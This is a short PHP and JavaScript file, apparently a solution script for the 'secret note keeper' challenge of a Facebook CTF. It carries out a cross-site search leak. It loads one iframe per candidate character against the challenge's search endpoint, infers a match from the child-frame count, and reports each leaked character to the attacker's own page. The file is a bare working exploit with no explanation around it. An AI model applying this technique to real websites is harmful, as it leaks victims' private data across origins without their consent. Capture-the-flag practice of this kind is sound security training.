secret-note-keeper.php

<?php
$prefix = "";
if ($_GET["prefix"]) { $prefix = $_GET["prefix"]; }
for ($i = 20; $i <= 126; $i++) {
  echo "<iframe id='" . chr($i) . "' src='http://challenges.fbctf.com:8082/search?query=fb%7b" . urlencode($prefix . chr($i)) ."'></iframe>";
}
?>

<script>
Array.from(document.querySelectorAll('iframe')).forEach(f => {
  f.onload = () => {
    if (f.contentWindow.frames.length > 0) {
      fetch('solved/?q=' + encodeURIComponent(f.id));
    }
  }
})
</script>